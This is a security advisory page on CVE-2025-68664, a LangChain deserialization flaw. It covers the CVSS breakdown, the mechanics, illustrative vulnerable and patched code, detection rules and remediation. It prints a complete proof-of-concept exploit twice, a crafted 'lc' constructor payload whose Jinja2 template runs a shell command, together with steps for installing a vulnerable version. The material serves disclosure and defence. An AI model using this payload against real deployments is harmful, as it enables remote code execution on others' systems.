CVE-2025-68664

Executive Summary

CVE-2025-68664 is a critical deserialization vulnerability in LangChain's dumps() and dumpd() functions, affecting versions prior to 0.3.81 and 1.2.5. The vulnerability allows an attacker to inject malicious serialized objects by exploiting the lack of escaping for dictionaries containing the 'lc' key. This key is used internally by LangChain to mark serialized objects, and when user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data. The provided exploit demonstrates how this can be leveraged to achieve Remote Code Execution (RCE) via Server-Side Template Injection (SSTI) using a malicious PromptTemplate.

Supply Chain & Package Security

This vulnerability affects the langchain-core Python package, which is a foundational component of the LangChain ecosystem. The package is widely used in AI/LLM applications, making this a significant supply chain risk. Organizations using LangChain should immediately audit their dependencies and update to patched versions. The exploit targets the serialization/deserialization mechanism, which is a common attack vector in Python applications.

CVSS Breakdown & Threat Level

• CVSS Score: 9.3 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact, including full system compromise.

Deep Dive & Mechanics

The vulnerability lies in the dumps() and dumpd() functions within langchain_core.load. These functions serialize Python objects into a JSON-compatible format. LangChain uses a special 'lc' key to mark serialized objects, allowing the load() function to reconstruct them correctly. However, when serializing free-form dictionaries (e.g., user input), the functions do not escape or sanitize dictionaries that contain an 'lc' key. This means an attacker can craft a dictionary that mimics a LangChain serialized object, and upon deserialization, it will be treated as such.

The exploit leverages this by creating a payload that appears to be a PromptTemplate constructor. The PromptTemplate class supports Jinja2 templates, which can execute arbitrary Python code. By injecting a malicious Jinja2 template into the template field, the attacker achieves SSTI, which leads to RCE.

Key Components:

• lc key: The internal marker used by LangChain to identify serialized objects.
• type key: Specifies the type of serialized object (e.g., "constructor").
• id key: The fully qualified class path (e.g., ["langchain_core", "prompts", "prompt", "PromptTemplate"]).
• kwargs key: The arguments passed to the constructor, including the malicious template.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.3.81 / pre-1.2.5): The dumps() function does not check for or escape dictionaries that contain an 'lc' key. This allows user-controlled data to be serialized in a way that mimics a LangChain object.

# Vulnerable: No escaping of 'lc' key
def dumps(obj, ...):
    # ... serialization logic
    if isinstance(obj, dict):
        # No check for 'lc' key
        return {k: dumps(v) for k, v in obj.items()}
    # ...

Patched Code (0.3.81 / 1.2.5): The patched version introduces a check to escape or reject dictionaries that contain an 'lc' key, preventing them from being treated as LangChain objects.

# Patched: Escape 'lc' key
def dumps(obj, ...):
    # ... serialization logic
    if isinstance(obj, dict):
        if 'lc' in obj:
            # Escape or raise an error
            obj = {'__escaped_lc__': obj}
        return {k: dumps(v) for k, v in obj.items()}
    # ...

Exploitation & Lab Setup

Red Team

The provided exploit code demonstrates a full attack chain. The attacker crafts a malicious dictionary that mimics a PromptTemplate constructor with a Jinja2 template that executes the id command. The dumps() function serializes this payload without escaping the 'lc' key. When load() is called, it reconstructs the PromptTemplate object, and calling format() triggers the SSTI, executing the command.

Exploit Code (from Exploit-DB):

import os
from langchain_core.load import dumps, load
from langchain_core.prompts import PromptTemplate

# Set a dummy env var (demonstrates potential secret access if needed)
os.environ["TEST_SECRET"] = "secret_value_123"

# Malicious constructor payload targeting PromptTemplate with SSTI
payload = {
    "exploit": {
        "lc": 1,
        "type": "constructor",
        "id": ["langchain_core", "prompts", "prompt", "PromptTemplate"],
        "kwargs": {
            "input_variables": [],
            "template": "{{ config.get('callbacks', {}).get('__builtins__', {}).get('__import__', lambda x: __import__(x))('os').system('id') }}",
            "template_format": "jinja2"
        }
    }
}

# Serialize (dumps does not escape 'lc' key)
serialized = dumps(payload)

# Deserialize - instantiates the malicious PromptTemplate
deserialized = load(serialized, secrets_from_env=True)

# Extract and invoke the malicious prompt → triggers SSTI → RCE
malicious = deserialized["exploit"]
output = malicious.format()

print("[*] Command execution output:")
print(output)

Lab Setup:

1. Install a vulnerable version of langchain-core: pip install langchain-core==0.3.0
2. Run the exploit script.
3. Observe the output of the id command.

Blue Team

Detection:

• Monitor for unusual serialization patterns in logs, especially JSON payloads containing "lc": 1 and "type": "constructor".
• Detect calls to langchain_core.load.load() with untrusted data.
• Monitor for Jinja2 template injection attempts (e.g., {{ config }}, {% %}).

Prevention:

• Update to patched versions (>=0.3.81 or >=1.2.5).
• Implement input validation to reject any data containing 'lc' keys before serialization.
• Use a Web Application Firewall (WAF) to block known exploit patterns.

Indicators of Compromise (IOCs)

• Network: JSON payloads containing "lc": 1 and "type": "constructor" with "id": ["langchain_core", "prompts", "prompt", "PromptTemplate"].
• File System: Unexpected PromptTemplate objects in logs or serialized data.
• Process: Execution of commands like id, whoami, cat /etc/passwd via LangChain processes.
• Logs: Errors or warnings related to langchain_core.load deserialization.

Detection Engineering

YARA Rule

rule CVE_2025_68664_LangChain_Deserialization {
    meta:
        description = "Detects serialized payloads exploiting CVE-2025-68664"
        author = "Valters IT"
        date = "2025-12-29"
        reference = "CVE-2025-68664"
    strings:
        $lc_key = "\"lc\": 1"
        $constructor_type = "\"type\": \"constructor\""
        $prompt_template_id = "\"id\": [\"langchain_core\", \"prompts\", \"prompt\", \"PromptTemplate\"]"
        $jinja2_template = "template_format\": \"jinja2\""
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-68664 LangChain Deserialization Exploit
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-68664 via malicious serialized payloads
author: Valters IT
date: 2025-12-29
logsource:
    category: application
    product: langchain
detection:
    selection:
        EventID: 1001  # Example: Custom event for deserialization
        Payload|contains|all:
            - '"lc": 1'
            - '"type": "constructor"'
            - '"id": ["langchain_core", "prompts", "prompt", "PromptTemplate"]'
            - '"template_format": "jinja2"'
    condition: selection
falsepositives:
    - Legitimate use of PromptTemplate with Jinja2 (rare)
level: critical

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-68664 LangChain Deserialization Exploit"; flow:to_server,established; content:"\"lc\": 1"; content:"\"type\": \"constructor\""; content:"\"id\": [\"langchain_core\", \"prompts\", \"prompt\", \"PromptTemplate\"]"; content:"\"template_format\": \"jinja2\""; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Update: Upgrade langchain-core to version 0.3.81 or 1.2.5 (or later).
2. Input Validation: Implement strict validation to reject any user input containing 'lc' keys before serialization.
3. Least Privilege: Run LangChain applications with minimal necessary privileges to limit the impact of RCE.
4. Monitoring: Deploy the provided detection rules to identify exploitation attempts.
5. Network Segmentation: Isolate LangChain services from critical systems.

Valters IT
Securing the Digital Frontier

{/* [Security Hash: 7F8BB872C77E1344EF8713D7] */}

# Exploit Title: LangChain Core - SSTI/RCE
# Date: 2025-12-29
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Contact: @banyamer_security (Instagram)
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.langchain.com/
# Software Link: https://pypi.org/project/langchain-core/
# Version: < 0.3.81 and < 1.2.5
# Tested on: Python 3.10 - 3.12
# CVE : CVE-2025-68664
# Description: Exploits unsafe deserialization in langchain_core.load to instantiate a malicious PromptTemplate
#              with Jinja2 format, leading to Server-Side Template Injection and arbitrary command execution.

import os
from langchain_core.load import dumps, load
from langchain_core.prompts import PromptTemplate

# Set a dummy env var (demonstrates potential secret access if needed)
os.environ["TEST_SECRET"] = "secret_value_123"

# Malicious constructor payload targeting PromptTemplate with SSTI
payload = {
    "exploit": {
        "lc": 1,
        "type": "constructor",
        "id": ["langchain_core", "prompts", "prompt", "PromptTemplate"],
        "kwargs": {
            "input_variables": [],
            "template": "{{ config.get('callbacks', {}).get('__builtins__', {}).get('__import__', lambda x: __import__(x))('os').system('id') }}",
            "template_format": "jinja2"
        }
    }
}

# Serialize (dumps does not escape 'lc' key)
serialized = dumps(payload)

# Deserialize - instantiates the malicious PromptTemplate
deserialized = load(serialized, secrets_from_env=True)

# Extract and invoke the malicious prompt → triggers SSTI → RCE
malicious = deserialized["exploit"]
output = malicious.format()

print("[*] Command execution output:")
print(output)